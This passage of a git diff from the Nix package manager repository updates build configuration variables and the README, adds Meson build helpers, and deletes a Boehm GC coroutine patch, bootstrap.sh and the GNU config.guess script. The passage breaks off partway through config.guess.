@HAVE_SECCOMP@ HOST_OS = @host_os@ +INSTALL_UNIT_TESTS = @INSTALL_UNIT_TESTS@ LDFLAGS = @LDFLAGS@ LIBARCHIVE_LIBS = @LIBARCHIVE_LIBS@ LIBBROTLI_LIBS = @LIBBROTLI_LIBS@ LIBCURL_LIBS = @LIBCURL_LIBS@ +LIBGIT2_LIBS = @LIBGIT2_LIBS@ LIBSECCOMP_LIBS = @LIBSECCOMP_LIBS@ LOWDOWN_LIBS = @LOWDOWN_LIBS@ OPENSSL_LIBS = @OPENSSL_LIBS@ @@ -27,9 +33,10 @@ SODIUM_LIBS = @SODIUM_LIBS@ SQLITE3_LIBS = @SQLITE3_LIBS@ bash = @bash@ bindir = @bindir@ +checkbindir = @checkbindir@ +checklibdir = @checklibdir@ datadir = @datadir@ datarootdir = @datarootdir@ -doc_generate = @doc_generate@ docdir = @docdir@ embedded_sandbox_shell = @embedded_sandbox_shell@ exec_prefix = @exec_prefix@ diff --git a/README.md b/README.md index 8a02c4c75..ab647e53b 100644 --- a/README.md +++ b/README.md @@ -4,32 +4,34 @@ [![Test](https://github.com/NixOS/nix/workflows/Test/badge.svg)](https://github.com/NixOS/nix/actions) Nix is a powerful package manager for Linux and other Unix systems that makes package -management reliable and reproducible. Please refer to the [Nix manual](https://nixos.org/nix/manual) +management reliable and reproducible. Please refer to the [Nix manual](https://nix.dev/reference/nix-manual) for more details. -## Installation +## Installation and first steps -On Linux and macOS the easiest way to install Nix is to run the following shell command -(as a user other than root): +Visit [nix.dev](https://nix.dev) for [installation instructions](https://nix.dev/tutorials/install-nix) and [beginner tutorials](https://nix.dev/tutorials/first-steps). -```console -$ curl -L https://nixos.org/nix/install | sh -``` +Full reference documentation can be found in the [Nix manual](https://nix.dev/reference/nix-manual). -Information on additional installation methods is available on the [Nix download page](https://nixos.org/download.html). +## Building and developing -## Building And Developing +Follow instructions in the Nix reference manual to [set up a development environment and build Nix from source](https://nix.dev/manual/nix/development/development/building.html). -See our [Hacking guide](https://nixos.org/manual/nix/stable/contributing/hacking.html) in our manual for instruction on how to -build nix from source with nix-build or how to get a development environment. +## Contributing -## Additional Resources +Check the [contributing guide](./CONTRIBUTING.md) if you want to get involved with developing Nix. -- [Nix manual](https://nixos.org/nix/manual) -- [Nix jobsets on hydra.nixos.org](https://hydra.nixos.org/project/nix) -- [NixOS Discourse](https://discourse.nixos.org/) -- [Matrix - #nix:nixos.org](https://matrix.to/#/#nix:nixos.org) -- [IRC - #nixos on libera.chat](irc://irc.libera.chat/#nixos) +## Additional resources + +Nix was created by Eelco Dolstra and developed as the subject of his PhD thesis [The Purely Functional Software Deployment Model](https://edolstra.github.io/pubs/phd-thesis.pdf), published 2006. +Today, a world-wide developer community contributes to Nix and the ecosystem that has grown around it. + +- [The Nix, Nixpkgs, NixOS Community on nixos.org](https://nixos.org/) +- [Official documentation on nix.dev](https://nix.dev) +- [Nixpkgs](https://github.com/NixOS/nixpkgs) is [the largest, most up-to-date free software repository in the world](https://repology.org/repositories/graphs) +- [NixOS](https://github.com/NixOS/nixpkgs/tree/master/nixos) is a Linux distribution that can be configured fully declaratively +- [Discourse](https://discourse.nixos.org/) +- [Matrix](https://matrix.to/#/#nix:nixos.org) ## License diff --git a/boehmgc-coroutine-sp-fallback.diff b/boehmgc-coroutine-sp-fallback.diff deleted file mode 100644 index 8fdafbecb..000000000 --- a/boehmgc-coroutine-sp-fallback.diff +++ /dev/null @@ -1,77 +0,0 @@ -diff --git a/darwin_stop_world.c b/darwin_stop_world.c -index 3dbaa3fb..36a1d1f7 100644 ---- a/darwin_stop_world.c -+++ b/darwin_stop_world.c -@@ -352,6 +352,7 @@ GC_INNER void GC_push_all_stacks(void) - int nthreads = 0; - word total_size = 0; - mach_msg_type_number_t listcount = (mach_msg_type_number_t)THREAD_TABLE_SZ; -+ size_t stack_limit; - if (!EXPECT(GC_thr_initialized, TRUE)) - GC_thr_init(); - -@@ -407,6 +408,19 @@ GC_INNER void GC_push_all_stacks(void) - GC_push_all_stack_sections(lo, hi, p->traced_stack_sect); - } - if (altstack_lo) { -+ // When a thread goes into a coroutine, we lose its original sp until -+ // control flow returns to the thread. -+ // While in the coroutine, the sp points outside the thread stack, -+ // so we can detect this and push the entire thread stack instead, -+ // as an approximation. -+ // We assume that the coroutine has similarly added its entire stack. -+ // This could be made accurate by cooperating with the application -+ // via new functions and/or callbacks. -+ stack_limit = pthread_get_stacksize_np(p->id); -+ if (altstack_lo >= altstack_hi || altstack_lo < altstack_hi - stack_limit) { // sp outside stack -+ altstack_lo = altstack_hi - stack_limit; -+ } -+ - total_size += altstack_hi - altstack_lo; - GC_push_all_stack(altstack_lo, altstack_hi); - } -diff --git a/pthread_stop_world.c b/pthread_stop_world.c -index 4b2c429..1fb4c52 100644 ---- a/pthread_stop_world.c -+++ b/pthread_stop_world.c -@@ -673,6 +673,8 @@ GC_INNER void GC_push_all_stacks(void) - struct GC_traced_stack_sect_s *traced_stack_sect; - pthread_t self = pthread_self(); - word total_size = 0; -+ size_t stack_limit; -+ pthread_attr_t pattr; - - if (!EXPECT(GC_thr_initialized, TRUE)) - GC_thr_init(); -@@ -722,6 +724,31 @@ GC_INNER void GC_push_all_stacks(void) - hi = p->altstack + p->altstack_size; - /* FIXME: Need to scan the normal stack too, but how ? */ - /* FIXME: Assume stack grows down */ -+ } else { -+ if (pthread_getattr_np(p->id, &pattr)) { -+ ABORT("GC_push_all_stacks: pthread_getattr_np failed!"); -+ } -+ if (pthread_attr_getstacksize(&pattr, &stack_limit)) { -+ ABORT("GC_push_all_stacks: pthread_attr_getstacksize failed!"); -+ } -+ if (pthread_attr_destroy(&pattr)) { -+ ABORT("GC_push_all_stacks: pthread_attr_destroy failed!"); -+ } -+ // When a thread goes into a coroutine, we lose its original sp until -+ // control flow returns to the thread. -+ // While in the coroutine, the sp points outside the thread stack, -+ // so we can detect this and push the entire thread stack instead, -+ // as an approximation. -+ // We assume that the coroutine has similarly added its entire stack. -+ // This could be made accurate by cooperating with the application -+ // via new functions and/or callbacks. -+ #ifndef STACK_GROWS_UP -+ if (lo >= hi || lo < hi - stack_limit) { // sp outside stack -+ lo = hi - stack_limit; -+ } -+ #else -+ #error "STACK_GROWS_UP not supported in boost_coroutine2 (as of june 2021), so we don't support it in Nix." -+ #endif - } - GC_push_all_stack_sections(lo, hi, traced_stack_sect); - # ifdef STACK_GROWS_UP diff --git a/bootstrap.sh b/bootstrap.sh deleted file mode 100755 index e3e259351..000000000 --- a/bootstrap.sh +++ /dev/null @@ -1,4 +0,0 @@ -#! /bin/sh -e -rm -f aclocal.m4 -mkdir -p config -exec autoreconf -vfi diff --git a/build-utils-meson/deps-lists/meson.build b/build-utils-meson/deps-lists/meson.build new file mode 100644 index 000000000..237eac545 --- /dev/null +++ b/build-utils-meson/deps-lists/meson.build @@ -0,0 +1,36 @@ +# These are private dependencies with pkg-config files. What private +# means is that the dependencies are used by the library but they are +# *not* used (e.g. `#include`-ed) in any installed header file, and only +# in regular source code (`*.cc`) or private, uninstalled headers. They +# are thus part of the *implementation* of the library, but not its +# *interface*. +# +# See `man pkg-config` for some details. +deps_private = [ ] + +# These are public dependencies with pkg-config files. Public is the +# opposite of private: these dependencies are used in installed header +# files. They are part of the interface (and implementation) of the +# library. +# +# N.B. This concept is mostly unrelated to our own concept of a public +# (stable) API, for consumption outside of the Nix repository. +# `libnixutil` is an unstable C++ library, whose public interface is +# likewise unstable. `libutilc` conversely is a hopefully-soon stable +# C library, whose public interface --- including public but not private +# dependencies --- will also likewise soon be stable. +# +# N.B. For distributions that care about "ABI" stability and not just +# "API" stability, the private dependencies also matter as they can +# potentially affect the public ABI. +deps_public = [ ] + +# These are subproject deps (type == "internal"). They are other +# packages in `/src` in this repo. The private vs public distinction is +# the same as above. +deps_private_subproject = [ ] +deps_public_subproject = [ ] + +# These are dependencencies without pkg-config files. Ideally they are +# just private, but they may also be public (e.g. boost). +deps_other = [ ] diff --git a/build-utils-meson/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build new file mode 100644 index 000000000..30eedfc13 --- /dev/null +++ b/build-utils-meson/diagnostics/meson.build @@ -0,0 +1,11 @@ +add_project_arguments( + '-Wdeprecated-copy', + '-Werror=suggest-override', + '-Werror=switch', + '-Werror=switch-enum', + '-Werror=unused-result', + '-Wignored-qualifiers', + '-Wimplicit-fallthrough', + '-Wno-deprecated-declarations', + language : 'cpp', +) diff --git a/build-utils-meson/export-all-symbols/meson.build b/build-utils-meson/export-all-symbols/meson.build new file mode 100644 index 000000000..d7c086749 --- /dev/null +++ b/build-utils-meson/export-all-symbols/meson.build @@ -0,0 +1,11 @@ +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif diff --git a/build-utils-meson/export/meson.build b/build-utils-meson/export/meson.build new file mode 100644 index 000000000..40f6dcd59 --- /dev/null +++ b/build-utils-meson/export/meson.build @@ -0,0 +1,30 @@ +requires_private = [] +foreach dep : deps_private_subproject + requires_private += dep.name() +endforeach +requires_private += deps_private + +requires_public = [] +foreach dep : deps_public_subproject + requires_public += dep.name() +endforeach +requires_public += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires_public, + requires_private : requires_private, + libraries_private : libraries_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : deps_public_subproject + deps_public, +)) diff --git a/build-utils-meson/generate-header/meson.build b/build-utils-meson/generate-header/meson.build new file mode 100644 index 000000000..dfbe1375f --- /dev/null +++ b/build-utils-meson/generate-header/meson.build @@ -0,0 +1,7 @@ +bash = find_program('bash', native: true) + +gen_header = generator( + bash, + arguments : [ '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], + output : '@PLAINNAME@.gen.hh', +) diff --git a/build-utils-meson/subprojects/meson.build b/build-utils-meson/subprojects/meson.build new file mode 100644 index 000000000..30a54ed91 --- /dev/null +++ b/build-utils-meson/subprojects/meson.build @@ -0,0 +1,19 @@ +foreach maybe_subproject_dep : deps_private_maybe_subproject + if maybe_subproject_dep.type_name() == 'internal' + deps_private_subproject += maybe_subproject_dep + # subproject sadly no good for pkg-config module + deps_other += maybe_subproject_dep + else + deps_private += maybe_subproject_dep + endif +endforeach + +foreach maybe_subproject_dep : deps_public_maybe_subproject + if maybe_subproject_dep.type_name() == 'internal' + deps_public_subproject += maybe_subproject_dep + # subproject sadly no good for pkg-config module + deps_other += maybe_subproject_dep + else + deps_public += maybe_subproject_dep + endif +endforeach diff --git a/build-utils-meson/threads/meson.build b/build-utils-meson/threads/meson.build new file mode 100644 index 000000000..294160de1 --- /dev/null +++ b/build-utils-meson/threads/meson.build @@ -0,0 +1,6 @@ +# This is only conditional to work around +# https://github.com/mesonbuild/meson/issues/13293. It should be +# unconditional. +if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc') + deps_private += dependency('threads') +endif diff --git a/config/config.guess b/config/config.guess deleted file mode 100755 index 1972fda8e..000000000 --- a/config/config.guess +++ /dev/null @@ -1,1700 +0,0 @@ -#! /bin/sh -# Attempt to guess a canonical system name. -# Copyright 1992-2021 Free Software Foundation, Inc. - -timestamp='2021-01-25' - -# This file is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, see . -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that -# program. This Exception is an additional permission under section 7 -# of the GNU General Public License, version 3 ("GPLv3"). -# -# Originally written by Per Bothner; maintained since 2000 by Ben Elliston. -# -# You can get the latest version of this script from: -# https://git.savannah.gnu.org/cgit/config.git/plain/config.guess -# -# Please send patches to . - - -me=$(echo "$0" | sed -e 's,.*/,,') - -usage="\ -Usage: $0 [OPTION] - -Output the configuration name of the system \`$me' is run on. - -Options: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version="\ -GNU config.guess ($timestamp) - -Originally written by Per Bothner. -Copyright 1992-2021 Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There is NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." - -help=" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit ;; - --version | -v ) - echo "$version" ; exit ;; - --help | --h* | -h ) - echo "$usage"; exit ;; - -- ) # Stop option processing - shift; break ;; - - ) # Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" >&2 - exit 1 ;; - * ) - break ;; - esac -done - -if test $# != 0; then - echo "$me: too many arguments$help" >&2 - exit 1 -fi - -# CC_FOR_BUILD -- compiler used by this script. Note that the use of a -# compiler to aid in system detection is discouraged as it requires -# temporary files to be created and, as you can see below, it is a -# headache to deal with in a portable fashion. - -# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still -# use `HOST_CC' if defined, but it is deprecated. - -# Portable tmp directory creation inspired by the Autoconf team. - -tmp= -# shellcheck disable=SC2172 -trap 'test -z "$tmp" || rm -fr "$tmp"' 0 1 2 13 15 - -set_cc_for_build() { - # prevent multiple calls if $tmp is already set - test "$tmp" && return 0 - : "${TMPDIR=/tmp}" - # shellcheck disable=SC2039 - { tmp=$( (umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null) && test -n "$tmp" && test -d "$tmp" ; } || - { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir "$tmp" 2>/dev/null) ; } || - { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir "$tmp" 2>/dev/null) && echo "Warning: creating insecure temp directory" >&2 ; } || - { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } - dummy=$tmp/dummy - case ${CC_FOR_BUILD-},${HOST_CC-},${CC-} in - ,,) echo "int x;" > "$dummy.c" - for driver in cc gcc c89 c99 ; do - if ($driver -c -o "$dummy.o" "$dummy.c") >/dev/null 2>&1 ; then - CC_FOR_BUILD="$driver" - break - fi - done - if test x"$CC_FOR_BUILD" = x ; then - CC_FOR_BUILD=no_compiler_found - fi - ;; - ,,*) CC_FOR_BUILD=$CC ;; - ,*,*) CC_FOR_BUILD=$HOST_CC ;; - esac -} - -# This is needed to find uname on a Pyramid OSx when run in the BSD universe. -# (ghazi@noc.rutgers.edu 1994-08-24) -if test -f /.attbin/uname ; then - PATH=$PATH:/.attbin ; export PATH -fi - -UNAME_MACHINE=$( (uname -m) 2>/dev/null) || UNAME_MACHINE=unknown -UNAME_RELEASE=$( (uname -r) 2>/dev/null) || UNAME_RELEASE=unknown -UNAME_SYSTEM=$( (uname -s) 2>/dev/null) || UNAME_SYSTEM=unknown -UNAME_VERSION=$( (uname -v) 2>/dev/null) || UNAME_VERSION=unknown - -case "$UNAME_SYSTEM" in -Linux|GNU|GNU/*) - LIBC=unknown - - set_cc_for_build - cat <<-EOF > "$dummy.c" - #include - #if defined(__UCLIBC__) - LIBC=uclibc - #elif defined(__dietlibc__) - LIBC=dietlibc - #elif defined(__GLIBC__) - LIBC=gnu - #else - #include - /* First heuristic to detect musl libc. */ - #ifdef __DEFINED_va_list - LIBC=musl - #endif - #endif - EOF - eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^LIBC' | sed 's, ,,g')" - - # Second heuristic to detect musl libc. - if [ "$LIBC" = unknown ] && - command -v ldd >/dev/null && - ldd --version 2>&1 | grep -q ^musl; then - LIBC=musl - fi - - # If the system lacks a compiler, then just pick glibc. - # We could probably try harder. - if [ "$LIBC" = unknown ]; then - LIBC=gnu - fi - ;; -esac - -# Note: order is significant - the case branches are not exclusive. - -case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in - *:NetBSD:*:*) - # NetBSD (nbsd) targets should (where applicable) match one or - # more of the tuples: *-*-netbsdelf*, *-*-netbsdaout*, - # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently - # switched to ELF, *-*-netbsd* would select the old - # object file format. This provides both forward - # compatibility and a consistent mechanism for selecting the - # object file format. - # - # Note: NetBSD doesn't particularly care about the vendor - # portion of the name. We always set it to "unknown". - UNAME_MACHINE_ARCH=$( (uname -p 2>/dev/null || \ - /sbin/sysctl -n hw.machine_arch 2>/dev/null || \ - /usr/sbin/sysctl -n hw.machine_arch 2>/dev/null || \ - echo unknown)) - case "$UNAME_MACHINE_ARCH" in - aarch64eb) machine=aarch64_be-unknown ;; - armeb) machine=armeb-unknown ;; - arm*) machine=arm-unknown ;; - sh3el) machine=shl-unknown ;; - sh3eb) machine=sh-unknown ;; - sh5el) machine=sh5le-unknown ;; - earmv*) - arch=$(echo "$UNAME_MACHINE_ARCH" | sed -e 's,^e\(armv[0-9]\).*$,\1,') - endian=$(echo "$UNAME_MACHINE_ARCH" | sed -ne 's,^.*\(eb\)$,\1,p') - machine="${arch}${endian}"-unknown - ;; - *) machine="$UNAME_MACHINE_ARCH"-unknown ;; - esac - # The Operating System including object format, if it has switched - # to ELF recently (or will in the future) and ABI. - case "$UNAME_MACHINE_ARCH" in - earm*) - os=netbsdelf - ;; - arm*|i386|m68k|ns32k|sh3*|sparc|vax) - set_cc_for_build - if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ELF__ - then - # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). - # Return netbsd for either. FIX? - os=netbsd - else - os=netbsdelf - fi - ;; - *) - os=netbsd - ;; - esac - # Determine ABI tags. - case "$UNAME_MACHINE_ARCH" in - earm*) - expr='s/^earmv[0-9]/-eabi/;s/eb$//' - abi=$(echo "$UNAME_MACHINE_ARCH" | sed -e "$expr") - ;; - esac - # The OS release - # Debian GNU/NetBSD machines have a different userland, and - # thus, need a distinct triplet. However, they do not need - # kernel version information, so it can be replaced with a - # suitable tag, in the style of linux-gnu. - case "$UNAME_VERSION" in - Debian*) - release='-gnu' - ;; - *) - release=$(echo "$UNAME_RELEASE" | sed -e 's/[-_].*//' | cut -d. -f1,2) - ;; - esac - # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: - # contains redundant information, the shorter form: - # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. - echo "$machine-${os}${release}${abi-}" - exit ;; - *:Bitrig:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/Bitrig.//') - echo "$UNAME_MACHINE_ARCH"-unknown-bitrig"$UNAME_RELEASE" - exit ;; - *:OpenBSD:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/OpenBSD.//') - echo "$UNAME_MACHINE_ARCH"-unknown-openbsd"$UNAME_RELEASE" - exit ;; - *:LibertyBSD:*:*) - UNAME_MACHINE_ARCH=$(arch | sed 's/^.*BSD\.//') - echo "$UNAME_MACHINE_ARCH"-unknown-libertybsd"$UNAME_RELEASE" - exit ;; - *:MidnightBSD:*:*) - echo "$UNAME_MACHINE"-unknown-midnightbsd"$UNAME_RELEASE" - exit ;; - *:ekkoBSD:*:*) - echo "$UNAME_MACHINE"-unknown-ekkobsd"$UNAME_RELEASE" - exit ;; - *:SolidBSD:*:*) - echo "$UNAME_MACHINE"-unknown-solidbsd"$UNAME_RELEASE" - exit ;; - *:OS108:*:*) - echo "$UNAME_MACHINE"-unknown-os108_"$UNAME_RELEASE" - exit ;; - macppc:MirBSD:*:*) - echo powerpc-unknown-mirbsd"$UNAME_RELEASE" - exit ;; - *:MirBSD:*:*) - echo "$UNAME_MACHINE"-unknown-mirbsd"$UNAME_RELEASE" - exit ;; - *:Sortix:*:*) - echo "$UNAME_MACHINE"-unknown-sortix - exit ;; - *:Twizzler:*:*) - echo "$UNAME_MACHINE"-unknown-twizzler - exit ;; - *:Redox:*:*) - echo "$UNAME_MACHINE"-unknown-redox - exit ;; - mips:OSF1:*.*) - echo mips-dec-osf1 - exit ;; - alpha:OSF1:*:*) - case $UNAME_RELEASE in - *4.0) - UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $3}') - ;; - *5.*) - UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $4}') - ;; - esac - # According to Compaq, /usr/sbin/psrinfo has been available on - # OSF/1 and Tru64 systems produced since 1995. I hope that - # covers most systems running today. This code pipes the CPU - # types through head -n 1, so we only detect the type of CPU 0. - ALPHA_CPU_TYPE=$(/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1) - case "$ALPHA_CPU_TYPE" in - "EV4 (21064)") - UNAME_MACHINE=alpha ;; - "EV4.5 (21064)") - UNAME_MACHINE=alpha ;; - "LCA4 (21066/21068)") - UNAME_MACHINE=alpha ;; - "EV5 (21164)") - UNAME_MACHINE=alphaev5 ;; - "EV5.6 (21164A)") - UNAME_MACHINE=alphaev56 ;; - "EV5.6 (21164PC)") - UNAME_MACHINE=alphapca56 ;; - "EV5.7 (21164PC)") - UNAME_MACHINE=alphapca57 ;; - "EV6 (21264)") - UNAME_MACHINE=alphaev6 ;; - "EV6.7 (21264A)") - UNAME_MACHINE=alphaev67 ;; - "EV6.8CB (21264C)") - UNAME_MACHINE=alphaev68 ;; - "EV6.8AL (21264B)") - UNAME_MACHINE=alphaev68 ;; - "EV6.8CX (21264D)") - UNAME_MACHINE=alphaev68 ;; - "EV6.9A (21264/EV69A)") - UNAME_MACHINE=alphaev69 ;; - "EV7 (21364)") - UNAME_MACHINE=alphaev7 ;; - "EV7.9 (21364A)") - UNAME_MACHINE=alphaev79 ;; - esac - # A Pn.n version is a patched version. - # A Vn.n version is a released version. - # A Tn.n version is a released field test version. - # A Xn.n version is an unreleased experimental baselevel. - # 1.2 uses "1.2" for uname -r. - echo "$UNAME_MACHINE"-dec-osf"$(echo "$UNAME_RELEASE" | sed -e 's/^[PVTX]//' | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz)" - # Reset EXIT trap before exiting to avoid spurious non-zero exit code. - exitcode=$? - trap '' 0 - exit $exitcode ;; - Amiga*:UNIX_System_V:4.0:*) - echo m68k-unknown-sysv4 - exit ;; - *:[Aa]miga[Oo][Ss]:*:*) - echo "$UNAME_MACHINE"-unknown-amigaos - exit ;; - *:[Mm]orph[Oo][Ss]:*:*) - echo "$UNAME_MACHINE"-unknown-morphos - exit ;; - *:OS/390:*:*) - echo i370-ibm-openedition - exit ;; - *:z/VM:*:*) - echo s390-ibm-zvmoe - exit ;; - *:OS400:*:*) - echo powerpc-ibm-os400 - exit ;; - arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) - echo arm-acorn-riscix"$UNAME_RELEASE" - exit ;; - arm*:riscos:*:*|arm*:RISCOS:*:*) - echo arm-unknown-riscos - exit ;; - SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) - echo hppa1.1-hitachi-hiuxmpp - exit ;; - Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) - # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. - if test "$( (/bin/universe) 2>/dev/null)" = att ; then - echo pyramid-pyramid-sysv3 - else - echo pyramid-pyramid-bsd - fi - exit ;; - NILE*:*:*:dcosx) - echo pyramid-pyramid-svr4 - exit ;; - DRS?6000:unix:4.0:6*) - echo sparc-icl-nx6 - exit ;; - DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) - case $(/usr/bin/uname -p) in - sparc) echo sparc-icl-nx7; exit ;; - esac ;; - s390x:SunOS:*:*) - echo "$UNAME_MACHINE"-ibm-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')" - exit ;; - sun4H:SunOS:5.*:*) - echo sparc-hal-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) - echo sparc-sun-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')" - exit ;; - i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*) - echo i386-pc-auroraux"$UNAME_RELEASE" - exit ;; - i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*) - set_cc_for_build - SUN_ARCH=i386 - # If there is a compiler, see if it is configured for 64-bit objects. - # Note that the Sun cc does not turn __LP64__ into 1 like gcc does. - # This test works for both compilers. - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_64BIT_ARCH >/dev/null - then - SUN_ARCH=x86_64 - fi - fi - echo "$SUN_ARCH"-pc-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:6*:*) - # According to config.sub, this is the proper way to canonicalize - # SunOS6. Hard to guess exactly what SunOS6 will be like, but - # it's likely to be more like Solaris than SunOS4. - echo sparc-sun-solaris3"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - sun4*:SunOS:*:*) - case "$(/usr/bin/arch -k)" in - Series*|S4*) - UNAME_RELEASE=$(uname -v) - ;; - esac - # Japanese Language versions have a version number like `4.1.3-JL'. - echo sparc-sun-sunos"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/')" - exit ;; - sun3*:SunOS:*:*) - echo m68k-sun-sunos"$UNAME_RELEASE" - exit ;; - sun*:*:4.2BSD:*) - UNAME_RELEASE=$( (sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null) - test "x$UNAME_RELEASE" = x && UNAME_RELEASE=3 - case "$(/bin/arch)" in - sun3) - echo m68k-sun-sunos"$UNAME_RELEASE" - ;; - sun4) - echo sparc-sun-sunos"$UNAME_RELEASE" - ;; - esac - exit ;; - aushp:SunOS:*:*) - echo sparc-auspex-sunos"$UNAME_RELEASE" - exit ;; - # The situation for MiNT is a little confusing. The machine name - # can be virtually everything (everything which is not - # "atarist" or "atariste" at least should have a processor - # > m68000). The system name ranges from "MiNT" over "FreeMiNT" - # to the lowercase version "mint" (or "freemint"). Finally - # the system name "TOS" denotes a system which is actually not - # MiNT. But MiNT is downward compatible to TOS, so this should - # be no problem. - atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) - echo m68k-atari-mint"$UNAME_RELEASE" - exit ;; - milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) - echo m68k-milan-mint"$UNAME_RELEASE" - exit ;; - hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) - echo m68k-hades-mint"$UNAME_RELEASE" - exit ;; - *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) - echo m68k-unknown-mint"$UNAME_RELEASE" - exit ;; - m68k:machten:*:*) - echo m68k-apple-machten"$UNAME_RELEASE" - exit ;; - powerpc:machten:*:*) - echo powerpc-apple-machten"$UNAME_RELEASE" - exit ;; - RISC*:Mach:*:*) - echo mips-dec-mach_bsd4.3 - exit ;; - RISC*:ULTRIX:*:*) - echo mips-dec-ultrix"$UNAME_RELEASE" - exit ;; - VAX*:ULTRIX*:*:*) - echo vax-dec-ultrix"$UNAME_RELEASE" - exit ;; - 2020:CLIX:*:* | 2430:CLIX:*:*) - echo clipper-intergraph-clix"$UNAME_RELEASE" - exit ;; - mips:*:*:UMIPS | mips:*:*:RISCos) - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" -#ifdef __cplusplus -#include /* for printf() prototype */ - int main (int argc, char *argv[]) { -#else - int main (argc, argv) int argc; char *argv[]; { -#endif - #if defined (host_mips) && defined (MIPSEB) - #if defined (SYSTYPE_SYSV) - printf ("mips-mips-riscos%ssysv\\n", argv[1]); exit (0); - #endif - #if defined (SYSTYPE_SVR4) - printf ("mips-mips-riscos%ssvr4\\n", argv[1]); exit (0); - #endif - #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) - printf ("mips-mips-riscos%sbsd\\n", argv[1]); exit (0); - #endif - #endif - exit (-1); - } -EOF - $CC_FOR_BUILD -o "$dummy" "$dummy.c" && - dummyarg=$(echo "$UNAME_RELEASE" | sed -n 's/\([0-9]*\).*/\1/p') && - SYSTEM_NAME=$("$dummy" "$dummyarg") && - { echo "$SYSTEM_NAME"; exit; } - echo mips-mips-riscos"$UNAME_RELEASE" - exit ;; - Motorola:PowerMAX_OS:*:*) - echo powerpc-motorola-powermax - exit 